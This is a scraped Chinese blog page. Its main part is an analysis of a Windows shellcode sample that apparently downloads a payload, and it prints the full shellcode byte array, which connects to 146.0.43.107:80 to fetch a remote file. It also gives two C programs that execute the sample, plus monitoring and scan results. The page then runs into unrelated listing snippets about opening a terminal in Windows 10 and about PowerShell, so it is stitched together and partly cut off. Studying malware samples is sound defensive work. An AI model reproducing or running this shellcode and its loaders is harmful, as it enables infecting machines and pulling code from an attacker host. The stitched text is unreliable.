    "\x60\x84\x52\x52\x52\x51\x52\x50" 
    "\x68\xeb\x55\x2e\x3b\xff\xd5\x89" 
    "\xc6\x31\xff\x57\x57\x57\x57\x56" 
    "\x68\x2d\x06\x18\x7b\xff\xd5\x85" 
    "\xc0\x74\x44\x31\xff\x85\xf6\x74" 
    "\x04\x89\xf9\xeb\x09\x68\xaa\xc5" 
    "\xe2\x5d\xff\xd5\x89\xc1\x68\x45" 
    "\x21\x5e\x31\xff\xd5\x31\xff\x57" 
    "\x6a\x07\x51\x56\x50\x68\xb7\x57" 
    "\xe0\x0b\xff\xd5\xbf\x00\x2f\x00" 
    "\x00\x39\xc7\x74\xbc\x31\xff\xeb" 
    "\x15\xeb\x49\xe8\x99\xff\xff\xff" 
    "\x2f\x68\x66\x59\x6e\x00\x00\x68" 
    "\xf0\xb5\xa2\x56\xff\xd5\x6a\x40" 
    "\x68\x00\x10\x00\x00\x68\x00\x00" 
    "\x40\x00\x57\x68\x58\xa4\x53\xe5" 
    "\xff\xd5\x93\x53\x53\x89\xe7\x57" 
    "\x68\x00\x20\x00\x00\x53\x56\x68" 
    "\x12\x96\x89\xe2\xff\xd5\x85\xc0" 
    "\x74\xcd\x8b\x07\x01\xc3\x85\xc0" 
    "\x75\xe5\x58\xc3\xe8\x37\xff\xff" 
    "\xff\x31\x34\x36\x2e\x30\x2e\x34" 
    "\x33\x2e\x31\x30\x37\x00 ";

    三、ShellCode代码行为的分析

    1.编写测试测试程序,对ShellCode的行为进行分析

    ShellCode测试程序1--TestCode:

    // TestCode.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    
    
    char shellCode[] = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89"
    "\xe5\x31\xd2\x64\x8b\x52\x30\x8b" 
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28" 
    "\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1" 
    "\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" 
    "\x8b\x52\x10\x8b\x42\x3c\x01\xd0" 
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01" 
    "\xd0\x50\x8b\x48\x18\x8b\x58\x20" 
    "\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" 
    "\x01\xd6\x31\xff\x31\xc0\xac\xc1" 
    "\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" 
    "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2" 
    "\x58\x8b\x58\x24\x01\xd3\x66\x8b" 
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 
    "\x04\x8b\x01\xd0\x89\x44\x24\x24" 
    "\x5b\x5b\x61\x59\x5a\x51\xff\xe0" 
    "\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" 
    "\x68\x6e\x65\x74\x00\x68\x77\x69" 
    "\x6e\x69\x54\x68\x4c\x77\x26\x07" 
    "\xff\xd5\xe8\x80\x00\x00\x00\x4d" 
    "\x6f\x7a\x69\x6c\x6c\x61\x2f\x35" 
    "\x2e\x30\x20\x28\x63\x6f\x6d\x70" 
    "\x61\x74\x69\x62\x6c\x65\x3b\x20" 
    "\x4d\x53\x49\x45\x20\x31\x30\x2e" 
    "\x30\x3b\x20\x57\x69\x6e\x64\x6f" 
    "\x77\x73\x20\x4e\x54\x20\x36\x2e" 
    "\x32\x3b\x20\x57\x4f\x57\x36\x34" 
    "\x3b\x20\x54\x72\x69\x64\x65\x6e" 
    "\x74\x2f\x36\x2e\x30\x3b\x20\x54" 
    "\x6f\x75\x63\x68\x3b\x20\x4d\x41" 
    "\x53\x50\x4a\x53\x29\x00\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x00\x59" 
    "\x31\xff\x57\x57\x57\x57\x51\x68" 
    "\x3a\x56\x79\xa7\xff\xd5\xeb\x79" 
    "\x5b\x31\xc9\x51\x51\x6a\x03\x51" 
    "\x51\x68\x50\x00\x00\x00\x53\x50" 
    "\x68\x57\x89\x9f\xc6\xff\xd5\xeb" 
    "\x62\x59\x31\xd2\x52\x68\x00\x02" 
    "\x60\x84\x52\x52\x52\x51\x52\x50" 
    "\x68\xeb\x55\x2e\x3b\xff\xd5\x89" 
    "\xc6\x31\xff\x57\x57\x57\x57\x56" 
    "\x68\x2d\x06\x18\x7b\xff\xd5\x85" 
    "\xc0\x74\x44\x31\xff\x85\xf6\x74" 
    "\x04\x89\xf9\xeb\x09\x68\xaa\xc5" 
    "\xe2\x5d\xff\xd5\x89\xc1\x68\x45" 
    "\x21\x5e\x31\xff\xd5\x31\xff\x57" 
    "\x6a\x07\x51\x56\x50\x68\xb7\x57" 
    "\xe0\x0b\xff\xd5\xbf\x00\x2f\x00" 
    "\x00\x39\xc7\x74\xbc\x31\xff\xeb" 
    "\x15\xeb\x49\xe8\x99\xff\xff\xff" 
    "\x2f\x68\x66\x59\x6e\x00\x00\x68" 
    "\xf0\xb5\xa2\x56\xff\xd5\x6a\x40" 
    "\x68\x00\x10\x00\x00\x68\x00\x00" 
    "\x40\x00\x57\x68\x58\xa4\x53\xe5" 
    "\xff\xd5\x93\x53\x53\x89\xe7\x57" 
    "\x68\x00\x20\x00\x00\x53\x56\x68" 
    "\x12\x96\x89\xe2\xff\xd5\x85\xc0" 
    "\x74\xcd\x8b\x07\x01\xc3\x85\xc0" 
    "\x75\xe5\x58\xc3\xe8\x37\xff\xff" 
    "\xff\x31\x34\x36\x2e\x30\x2e\x34" 
    "\x33\x2e\x31\x30\x37\x00 ";
    
    int main(int argc, char* argv[])
    {
    	__asm
    	{
    		lea eax, shellCode
    		push eax
    		ret
    	}
    
    	return 0;
    }
    

    ShellCode测试程序2--TestCode1:

    // TestCode1.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <windows.h>
    
    char shellCode[] = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89"
    "\xe5\x31\xd2\x64\x8b\x52\x30\x8b" 
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28" 
    "\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1" 
    "\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" 
    "\x8b\x52\x10\x8b\x42\x3c\x01\xd0" 
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01" 
    "\xd0\x50\x8b\x48\x18\x8b\x58\x20" 
    "\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" 
    "\x01\xd6\x31\xff\x31\xc0\xac\xc1" 
    "\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" 
    "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2" 
    "\x58\x8b\x58\x24\x01\xd3\x66\x8b" 
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 
    "\x04\x8b\x01\xd0\x89\x44\x24\x24" 
    "\x5b\x5b\x61\x59\x5a\x51\xff\xe0" 
    "\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" 
    "\x68\x6e\x65\x74\x00\x68\x77\x69" 
    "\x6e\x69\x54\x68\x4c\x77\x26\x07" 
    "\xff\xd5\xe8\x80\x00\x00\x00\x4d" 
    "\x6f\x7a\x69\x6c\x6c\x61\x2f\x35" 
    "\x2e\x30\x20\x28\x63\x6f\x6d\x70" 
    "\x61\x74\x69\x62\x6c\x65\x3b\x20" 
    "\x4d\x53\x49\x45\x20\x31\x30\x2e" 
    "\x30\x3b\x20\x57\x69\x6e\x64\x6f" 
    "\x77\x73\x20\x4e\x54\x20\x36\x2e" 
    "\x32\x3b\x20\x57\x4f\x57\x36\x34" 
    "\x3b\x20\x54\x72\x69\x64\x65\x6e" 
    "\x74\x2f\x36\x2e\x30\x3b\x20\x54" 
    "\x6f\x75\x63\x68\x3b\x20\x4d\x41" 
    "\x53\x50\x4a\x53\x29\x00\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x00\x59" 
    "\x31\xff\x57\x57\x57\x57\x51\x68" 
    "\x3a\x56\x79\xa7\xff\xd5\xeb\x79" 
    "\x5b\x31\xc9\x51\x51\x6a\x03\x51" 
    "\x51\x68\x50\x00\x00\x00\x53\x50" 
    "\x68\x57\x89\x9f\xc6\xff\xd5\xeb" 
    "\x62\x59\x31\xd2\x52\x68\x00\x02" 
    "\x60\x84\x52\x52\x52\x51\x52\x50" 
    "\x68\xeb\x55\x2e\x3b\xff\xd5\x89" 
    "\xc6\x31\xff\x57\x57\x57\x57\x56" 
    "\x68\x2d\x06\x18\x7b\xff\xd5\x85" 
    "\xc0\x74\x44\x31\xff\x85\xf6\x74" 
    "\x04\x89\xf9\xeb\x09\x68\xaa\xc5" 
    "\xe2\x5d\xff\xd5\x89\xc1\x68\x45" 
    "\x21\x5e\x31\xff\xd5\x31\xff\x57" 
    "\x6a\x07\x51\x56\x50\x68\xb7\x57" 
    "\xe0\x0b\xff\xd5\xbf\x00\x2f\x00" 
    "\x00\x39\xc7\x74\xbc\x31\xff\xeb" 
    "\x15\xeb\x49\xe8\x99\xff\xff\xff" 
    "\x2f\x68\x66\x59\x6e\x00\x00\x68" 
    "\xf0\xb5\xa2\x56\xff\xd5\x6a\x40" 
    "\x68\x00\x10\x00\x00\x68\x00\x00" 
    "\x40\x00\x57\x68\x58\xa4\x53\xe5" 
    "\xff\xd5\x93\x53\x53\x89\xe7\x57" 
    "\x68\x00\x20\x00\x00\x53\x56\x68" 
    "\x12\x96\x89\xe2\xff\xd5\x85\xc0" 
    "\x74\xcd\x8b\x07\x01\xc3\x85\xc0" 
    "\x75\xe5\x58\xc3\xe8\x37\xff\xff" 
    "\xff\x31\x34\x36\x2e\x30\x2e\x34" 
    "\x33\x2e\x31\x30\x37\x00 ";
    
    
    int main(int argc, char* argv[])
    {
    	//创建ShellCode的线程
    	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(int)&shellCode, NULL, 0, NULL);
    
    	//等待线程的创建完成
    	WaitForSingleObject(hThread, INFINITE);
    
    	return 0;
    }

    2.  使用病毒监控软件MyMonitor对ShellCode的行为进行监控,情况如下:

    创建文件C:\Documentsand Settings\Administrator\Local Settings\Temporary InternetFiles\Content.IE5\index.dat

    创建文件C:\Documentsand Settings\Administrator\Cookies\index.dat

    创建文件C:\Documentsand Settings\Administrator\Local Settings\History\ History.IE5\index.dat

    创建文件C:\AUTOEXEC.BAT

    创建文件C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\b7e3_appcompat.txt

    链接外网146.0.43.107:80,远程读取该网站中的文件146.0.43.107/hfYn到本地文件中。





    3. 使用OD对程序进行动态分析

    ShellCode的汇编是经过人工刻意编写的,懒得分析,我想多活几年,只提供部分ShellCode的截图:




    4.使用金山火眼对样本进行分析

    分析结果的网址:

    http://fireeye.ijinshan.com/analyse.html?md5=232ddb4b262057145ce0b8930738b7fb&sha1=39ec762b497c51a28acb7c334a123c89ebd944dd&type=1#full 






    四、在线病毒扫描对样本的检测结果

    病毒检测报告结果的网址:

    http://r.virscan.org/report/8cb8acd2f0bce2b3ee34bcffc5657c8d





    笔记到此为止,欢迎高手拍砖砸死。








    展开全文
  • 在 Windows 10实现类似 Linux 在指定的当前文件目录下进入命令终端(DOS,window power shell) 在Linux中需要用到终端时,对于初学者而言找到目录右键进入 terminal 简直不要太方便,而在 Windows 10 就比较麻烦,...

    在 Windows 10实现类似 Linux 在指定的当前文件目录下进入命令终端(DOS,window power shell)

    在Linux中需要用到终端时,对于初学者而言找到目录右键进入 terminal 简直不要太方便,而在 Windows 10 就比较麻烦,必须要从家目录出发用 cd 命令进入,那有什么比较快捷的方式呢?

    最为简单的方法:快捷键 Shift + 右键

    演示:

    (一)常规不带快捷键:直接在目录下右键

    没有直接进入的选项:在这里插入图片描述

    (二)带快捷键再右键(快捷键 Shift + 右键)

    在这里插入图片描述

    2.1 打开效果

    在这里插入图片描述

    2.2 python命令测试:正常

    在这里插入图片描述

    2.3 运行脚本测试:正常

    2.3.1 脚本源代码
    import numpy as np
    
    import matplotlib.pyplot as plt
    
    x=np.linspace(-5,5,1000)  #这个表示在-5到5之间生成1000个x值
    
    y=[1/(1+np.exp(-i)) for i in x]  #对上述生成的1000个数循环用sigmoid公式求对应的y
    
    plt.plot(x,y)  #用上述生成的1000个xy值对生成1000个点
    
    plt.show()  #绘制图像
    
    2.3.1 结果

    在这里插入图片描述

    更多资讯与资源(教程,软件等)请关注:

    在这里插入图片描述

    展开全文
  • power shell 函数 管道

    千次阅读 2020-06-28 18:52:04
    power shell 函数 管道 一、函数 二、管道 一、函数 重复用的指定序列 给模块化的指令序列取名。通过名字调用这个指令序列 定义 function–关键字 函数名–自定义(一个以上的英文单词,小驼峰:第一个英文单词首字母...
  • power shell执行策略

    千次阅读 2018-03-11 21:36:57
    "Restricted"是默认策略。 Restricted - 默认执行策略。 ... - 允许单个命令运行,但不能运行脚本。... - 阻止所有脚本文件的运行,包括格式和配置文件 (.ps1xml)、模块脚本文件 (.ps...
  • 在c:windows下执行get-ExecutionPolicy,如果显示的是Restricted说明他是禁止的。 接下来就要执行set-ExecutionPolicy RemoteSigned回车,输入A 然后回车就好了。
  • 使用windows10 自带的power shell

    千次阅读 2018-10-04 01:55:12
    本文档为个人第一个随笔...结果U盘在Windows因为文件格式无法正常访问.通过windows powershell 进行磁盘清空 命令如下: diskpart #加载磁盘 list disk #显示磁盘列表 select disk #选择磁盘 clean #清空...
  • 使用pip 命令的时候,发现在Power shell中无法使用,提示 pip 命令不是内部命令 比如,执行pip install --upgrade pip这条命令的时候出现以下提示: pip : 无法将“pip”项识别为 cmdlet、函数、脚本文件或可运行...
  • power shell 注:以下内容在非Windows平台上写的,可能会有拼写错误,如果有,请指正,我会尽快修正。可以用Powershell的配置文件(\(PROFILE)来实现。\)PROFILE默认文件不存在,需要创建。New-Item $PROFILE -...
  • 在这里连接数据库是利用PowerShell的[System.Reflection.Assembly]::LoadWithPartialName("System.Data....利用它来实现与Oracle的交互想在PowerShell中运行PowerCLI应该把PowerCLI的控制台文件传给powershell.exe如脚
  • :以树状图显示文件结构,-d选项只显示目录不显示文件,未输入目录名则默认显示当前目录下的结构 cp (copy) 源文件 目标文件 :复制文件或目录;复制到当前目录下且不更改文件名可以用: cp 源文件 .(以“.”...
  • 这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。这种服务非常适合在服务器上使用,或任何时候,为了不影响在同一台计算机上工作的其他用户,需要长时间运行功能时使用。还可以在...
  • 所以说, 某些时候, 我们还是需要将老式的DOS批处理文件转换为UNIX shell脚本. 一般来说, 做这种事情并不困难, 因为DOS批处理文件操作不过是等价的shell脚本的一个受限子集. 表格 L-1. 批处理文件
  • 安装这个软件可以产生如下效果 1.安装zsh yay -Sy zsh 2.安装oh-my-zsh sh -c "$(curl -fsSL ...3.切换默认shell为zsh chsh -s /bin/zsh 4:安装zsh命令自动补全插件 git clone https:...
  • 将DOS批处理文件转换为Shell脚本 相当多的在PC上学习脚本的程序员都在运行DOS. 事实上, 残废的DOS批处理文件语言还是可以编写出一些比较强大的脚本来的, 虽然它们一般都需要借助于外部的工具. 所以说, 某些时候,...
  • shell

    千次阅读 2016-10-30 11:12:31
     运行脚本前(调用函数前),shell 传递给脚本的参数。     2. 原理  bash 脚本的位置参数的传递可以做如下理解:  1. shell将用户输入的命令行 分别赋值给 1, 2, 3, 4, 5....N  2. 然后将最后一个参数的名称...
  • Shell 提示符中显示 Git 分支名称 Git 的好处之一就是把代码的分支管理变成了一件极其便捷的事情,分支只保留差异,不用复制任何文件,不用连接网络,快速创建,用完即删。Git 分支与项目的复杂程度无关,不管...
  • type README.txt:cmd 界面显示文本文件的文本信息; 进入 cmd.exe 之后,对显示(比如字体的颜色,字号)所做的任何操作,一般都需要重启 cmd.exe 才会生效; 快速编辑:默认值 ⇒ 选项 ⇒ 编辑选项(选中快速编辑...
  • Shell脚本类似于windows下的批处理,但是它比批处理要强大一些,现在windows下有一个叫做power shell的功能可以和linux下的shell功能媲美。我们可以在文本中输入一系列的命令、控制语句和变量,这一切有机的结合起来...
  • simple_shell-源码

    2021-04-16 12:25:22
    Shell是调用或执行计算机上可用的不同程序所必需的,它可以用作Windows Power Shell的示例。在此简单Shell实施中,我们可以通过两种方式使用它:交互式和非交互式,您可以使用环境中可用的任何命令,附加参数和一些...
  • 原因跟Power Shell有关,但不是 1、以管理员方式打开Power Shell 这种方式解决不了。 原因: 右上角显示的powershell 你输入任何命令都会错的,但改为cmd就对了 点击 Select Default shell 选择默认的shell 在顶端...
  • shell programming

    千次阅读 2006-12-29 14:55:00
    shell programming Shell 当我们登入 Linux 之後, 第一个接触到的, 便是 Shell. 我们必须对它有点初步的认识才行. 一. Shell 简介. Linux 系统分成三个重要的部份 核心 Shell 工具程式 核心的部份相当低阶, 操作者...
  • 终端图标:PowerShell模块,用于在终端中显示文件和文件夹图标
  • Shell Programming

    千次阅读 2006-04-08 14:26:00
    shell programming Shell 当我们登入 Linux 之後, 第一个接触到的, 便是 Shell. 我们必须对它有点初步的认识才行. 一. Shell 简介. Linux 系统分成三个重要的部份 核心 Shell 工具程式 核心的部份相当低阶, 操作者...
  • linux 之shell编程

    2014-03-30 14:50:45
    linux 之shell编程 介绍: shell结构 1. #!指定执行脚本的shell ...#power by pandamf hello="hello world! $1 and $2" var=`expr 5 + 3` echo $hello echo $var 关于shell中的变量 变量是s
  • *****第1天****** 20110718 操作系统的发展史OS构架:Arch: x86,x86_64,arm,ppc,MIPS,UltraSparc,Power,安腾计算机体系:冯'诺依曼 运算器,控制器,存储器,输入设备,输出设备 BUS(总线):PCI
  • windows下,每一行的结尾是\n\r,而在linux下文件的结尾是\n,那么你在windows下编辑过的文件在linux下打开看的时候每一行的结尾就会多出来一个字符\r,用cat -A urfile时你可以看到这个\r字符被显示为^M, ...
  • SHELL入门

    千次阅读 2013-09-25 18:35:00
    虽然学过Linux Shell编程,但由于编写Shell脚本的机会实在是比较少(通常在项目初期搭建开发环境时编写得比较多一些),所以一些语法久而久之就会忘了,一个简单的语法去翻书效率实在是慢,所以就个人整理了一个表格,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 18,626
精华内容 7,450
关键字:

powershell显示文件